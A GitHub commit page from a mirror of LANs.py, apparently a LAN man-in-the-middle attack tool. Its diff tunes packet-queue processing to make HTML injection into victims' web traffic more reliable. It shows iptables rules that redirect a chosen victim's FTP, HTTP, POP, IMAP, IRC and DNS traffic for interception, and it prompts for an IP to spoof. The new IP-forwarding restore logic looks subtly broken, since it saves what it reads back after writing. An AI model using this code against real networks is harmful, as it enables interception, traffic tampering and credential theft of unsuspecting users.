github/LANs.py
1
0
Fork 0
mirror of https://github.com/DanMcInerney/LANs.py.git synced 2025-07-06 21:12:12 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

html injection more reliable via increasing queues process_pending count

Browse source
This commit is contained in:
DanMcInerney 2014-01-05 07:50:52 -05:00
parent c636b06b16
commit 5e922d1c6f
2 changed files with 14 additions and 11 deletions
Download patch file Download diff file Expand all files Collapse all files

25
LANs.py
View file

@ -293,9 +293,9 @@ class Parser():
# Recompress data if necessary # Recompress data if necessary
if 'Content-Encoding: gzip' in headers: if 'Content-Encoding: gzip' in headers:
if body != '': if body != '':
#debugger = open('injectedBody', 'w') ######################################### # debugger = open('injectedBody', 'w') #########################################
#debugger.write(body) ######################################### # debugger.write(body) #########################################
#debugger.close() ######################################### # debugger.close() #########################################
try: try:
comp_body = StringIO() comp_body = StringIO()
f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel = 9) f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel = 9)
@ -758,7 +758,7 @@ class Queued(object):
def fileno(self): def fileno(self):
return self.q.get_fd() return self.q.get_fd()
def doRead(self): def doRead(self):
self.q.process_pending(5) self.q.process_pending(100) # if I lower this to, say, 5, it hurts injection's reliability
def connectionLost(self, reason): def connectionLost(self, reason):
reactor.removeReader(self) reactor.removeReader(self)
def logPrefix(self): def logPrefix(self):
@ -855,9 +855,9 @@ class active_users():
a.append(nbtname) a.append(nbtname)
# Start monitor mode # Start monitor mode
print '[*] Enabling monitor mode [/usr/sbin/airmon-ng ' + 'start ' + interface + ']' print '[*] Enabling monitor mode [airmon-ng ' + 'start ' + interface + ']'
try: try:
promiscSearch = Popen(['/usr/sbin/airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN) promiscSearch = Popen(['airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN)
promisc = promiscSearch.communicate()[0] promisc = promiscSearch.communicate()[0]
monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc) monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
self.monmode = monmodeSearch.group(1) self.monmode = monmodeSearch.group(1)
@ -880,8 +880,6 @@ def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
#Enable IP forwarding and flush possibly conflicting iptables rules #Enable IP forwarding and flush possibly conflicting iptables rules
def setup(victimMAC): def setup(victimMAC):
open('/proc/sys/net/ipv4/ip_forward', 'w').write('1\n')
print '[*] Enabled IP forwarding'
os.system('/sbin/iptables -F') os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X') os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F') os.system('/sbin/iptables -t nat -F')
@ -893,6 +891,10 @@ def setup(victimMAC):
os.system('/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
# To catch DNS packets you gotta do prerouting rather than forward for some reason? # To catch DNS packets you gotta do prerouting rather than forward for some reason?
os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as ipf:
ipf.write('1\n')
print '[*] Enabled IP forwarding'
return ipf.read()
# Start threads # Start threads
def threads(args): def threads(args):
@ -989,7 +991,7 @@ def main(args):
au = active_users() au = active_users()
au.users(IPprefix, routerIP) au.users(IPprefix, routerIP)
print '\n[*] Turning off monitor mode' print '\n[*] Turning off monitor mode'
os.system('/usr/sbin/airmon-ng stop %s >/dev/null 2>&1' % au.monmode) os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
try: try:
victimIP = raw_input('[*] Enter the non-router IP to spoof: ') victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
except KeyboardInterrupt: except KeyboardInterrupt:
@ -1078,7 +1080,7 @@ def main(args):
dnsMAC = None dnsMAC = None
setup(victimMAC) ipf = setup(victimMAC)
Queued(args) Queued(args)
threads(args) threads(args)
@ -1101,7 +1103,8 @@ def main(args):
def signal_handler(signal, frame): def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...' print 'learing iptables, sending healing packets, and turning off IP forwarding...'
logger.close() logger.close()
open('/proc/sys/net/ipv4/ip_forward', 'w').write('0\n') with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
forward.write(ipf)
if not dnsIP == routerIP and dnsMAC: if not dnsIP == routerIP and dnsMAC:
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)

BIN
injectedBody Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 48 B